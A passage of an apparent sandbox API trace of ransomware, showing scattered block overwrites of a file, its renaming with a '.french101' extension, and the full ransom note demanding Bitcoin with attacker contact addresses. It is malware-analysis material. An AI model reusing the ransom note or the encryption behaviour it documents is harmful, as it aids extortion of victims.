lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5f388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=476878, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x746ce [0265.338] WriteFile (in: hFile=0x398, lpBuffer=0x3e5f788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5f788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=513287, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x7d507 [0265.338] WriteFile (in: hFile=0x398, lpBuffer=0x3e5fb88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5fb88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=527610, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x80cfa [0265.338] WriteFile (in: hFile=0x398, lpBuffer=0x3e5ff88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5ff88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=569283, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x8afc3 [0265.338] WriteFile (in: hFile=0x398, lpBuffer=0x3e60388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e60388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=616059, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x9667b [0265.338] WriteFile (in: hFile=0x398, lpBuffer=0x3e60788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e60788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=624080, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x985d0 [0265.339] WriteFile (in: hFile=0x398, lpBuffer=0x3e60b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e60b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=681773, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xa672d [0265.339] WriteFile (in: hFile=0x398, lpBuffer=0x3e60f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e60f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=705100, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xac24c [0265.339] WriteFile (in: hFile=0x398, lpBuffer=0x3e61388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e61388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=737618, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb4152 [0265.339] WriteFile (in: hFile=0x398, lpBuffer=0x3e61788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e61788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=765774, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xbaf4e [0265.339] WriteFile (in: hFile=0x398, lpBuffer=0x3e61b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e61b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=817718, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xc7a36 [0265.339] WriteFile (in: hFile=0x398, lpBuffer=0x3e61f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e61f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=822229, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xc8bd5 [0265.339] WriteFile (in: hFile=0x398, lpBuffer=0x3e62388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e62388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=879259, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xd6a9b [0265.339] WriteFile (in: hFile=0x398, lpBuffer=0x3e62788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e62788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=899853, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xdbb0d [0265.340] WriteFile (in: hFile=0x398, lpBuffer=0x3e62b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e62b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=945511, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe6d67 [0265.340] WriteFile (in: hFile=0x398, lpBuffer=0x3e62f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e62f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=978935, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xeeff7 [0265.340] WriteFile (in: hFile=0x398, lpBuffer=0x3e63388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e63388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=1009055, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xf659f [0265.340] WriteFile (in: hFile=0x398, lpBuffer=0x3e63788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e63788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=1038791, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xfd9c7 [0265.340] WriteFile (in: hFile=0x398, lpBuffer=0x3e63b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e63b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=1077259, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x10700b [0265.340] WriteFile (in: hFile=0x398, lpBuffer=0x3e63f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e63f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=1098475, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x10c2eb [0265.340] WriteFile (in: hFile=0x398, lpBuffer=0x3e64388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e64388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=1114948, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x110344 [0265.340] WriteFile (in: hFile=0x398, lpBuffer=0x3e64788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e64788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1155672, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x11a258 [0265.341] WriteFile (in: hFile=0x398, lpBuffer=0x3e64b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e64b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1182315, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x120a6b [0265.341] WriteFile (in: hFile=0x398, lpBuffer=0x3e64f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e64f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1220116, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x129e14 [0265.341] WriteFile (in: hFile=0x398, lpBuffer=0x3e65388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e65388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1262069, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1341f5 [0265.341] WriteFile (in: hFile=0x398, lpBuffer=0x3e65788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e65788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1307505, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x13f371 [0265.341] WriteFile (in: hFile=0x398, lpBuffer=0x3e65b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e65b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1319864, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1423b8 [0265.341] WriteFile (in: hFile=0x398, lpBuffer=0x3e65f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e65f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1369255, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x14e4a7 [0265.341] WriteFile (in: hFile=0x398, lpBuffer=0x3e66388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e66388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1402209, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x156561 [0265.341] WriteFile (in: hFile=0x398, lpBuffer=0x3e66788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e66788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1427191, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x15c6f7 [0265.342] WriteFile (in: hFile=0x398, lpBuffer=0x3e66b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e66b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.342] SetFilePointer (in: hFile=0x398, lDistanceToMove=1457656, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x163df8 [0265.342] WriteFile (in: hFile=0x398, lpBuffer=0x3e66f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e66f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.342] SetFilePointer (in: hFile=0x398, lDistanceToMove=1486370, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x16ae22 [0265.342] WriteFile (in: hFile=0x398, lpBuffer=0x3e67388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e67388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.342] SetFilePointer (in: hFile=0x398, lDistanceToMove=1507816, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1701e8 [0265.342] WriteFile (in: hFile=0x398, lpBuffer=0x3e67788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e67788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.342] SetFilePointer (in: hFile=0x398, lDistanceToMove=1543730, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x178e32 [0265.342] WriteFile (in: hFile=0x398, lpBuffer=0x3e67b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e67b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.342] SetFilePointer (in: hFile=0x398, lDistanceToMove=1599789, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x18692d [0265.342] WriteFile (in: hFile=0x398, lpBuffer=0x3e67f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e67f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.342] SetFilePointer (in: hFile=0x398, lDistanceToMove=1624416, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x18c960 [0265.342] WriteFile (in: hFile=0x398, lpBuffer=0x3e68388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e68388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.342] SetFilePointer (in: hFile=0x398, lDistanceToMove=1660114, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1954d2 [0265.342] WriteFile (in: hFile=0x398, lpBuffer=0x3e68788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e68788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.343] SetFilePointer (in: hFile=0x398, lDistanceToMove=1698527, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x19eadf [0265.343] WriteFile (in: hFile=0x398, lpBuffer=0x3e68b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e68b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.343] SetFilePointer (in: hFile=0x398, lDistanceToMove=1707161, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1a0c99 [0265.343] WriteFile (in: hFile=0x398, lpBuffer=0x3e68f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e68f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.343] SetFilePointer (in: hFile=0x398, lDistanceToMove=1763051, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1ae6eb [0265.343] WriteFile (in: hFile=0x398, lpBuffer=0x3e69388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e69388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.343] SetFilePointer (in: hFile=0x398, lDistanceToMove=1782953, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1b34a9 [0265.346] WriteFile (in: hFile=0x398, lpBuffer=0x3e69788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e69788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.346] SetFilePointer (in: hFile=0x398, lDistanceToMove=1818554, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1bbfba [0265.346] WriteFile (in: hFile=0x398, lpBuffer=0x3e69b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e69b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.346] SetFilePointer (in: hFile=0x398, lDistanceToMove=1840861, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1c16dd [0265.346] WriteFile (in: hFile=0x398, lpBuffer=0x3e69f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e69f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.346] SetFilePointer (in: hFile=0x398, lDistanceToMove=1891402, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1cdc4a [0265.347] WriteFile (in: hFile=0x398, lpBuffer=0x3e6a388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6a388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.347] SetFilePointer (in: hFile=0x398, lDistanceToMove=1901056, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1d0200 [0265.347] WriteFile (in: hFile=0x398, lpBuffer=0x3e6a788*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e6a788*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0265.347] WriteFile (in: hFile=0x398, lpBuffer=0x3e95258*, nNumberOfBytesToWrite=0x282, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesWritten=0x19e7d8*=0x282, lpOverlapped=0x0) returned 1 [0265.347] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0265.347] GlobalUnlock (hMem=0x3f40014) returned 0 [0265.347] CloseHandle (hObject=0x398) returned 1 [0265.892] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\4DCD2YPTdhotX=asIt4J8zy1VCc9YvYshWaT6skDL9DOFGOL.french101" (normalized: "c:\\588bce7c90097ed212\\4dcd2yptdhotx=asit4j8zy1vcc9yvyshwat6skdl9dofgol.french101")) returned 1 [0265.893] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\4DCD2YPTdhotX=asIt4J8zy1VCc9YvYshWaT6skDL9DOFGOL.french101" (normalized: "c:\\588bce7c90097ed212\\4dcd2yptdhotx=asit4j8zy1vcc9yvyshwat6skdl9dofgol.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0265.893] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0265.893] CloseHandle (hObject=0x398) returned 1 [0265.893] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\4DCD2YPTdhotX=asIt4J8zy1VCc9YvYshWaT6skDL9DOFGOL.french101", dwFileAttributes=0x80) returned 1 [0265.894] CloseHandle (hObject=0x398) returned 0 [0265.894] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0265.894] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0265.894] GlobalUnlock (hMem=0x3f40014) returned 0 [0265.894] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0265.894] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0265.894] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0265.894] GlobalUnlock (hMem=0x3f40014) returned 0 [0265.894] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0265.894] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.894] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0265.894] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0265.895] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0265.895] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0265.895] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0265.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0265.895] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0265.895] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0265.895] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0265.895] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0265.895] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0265.895] SetFilePointer (in: hFile=0x398, 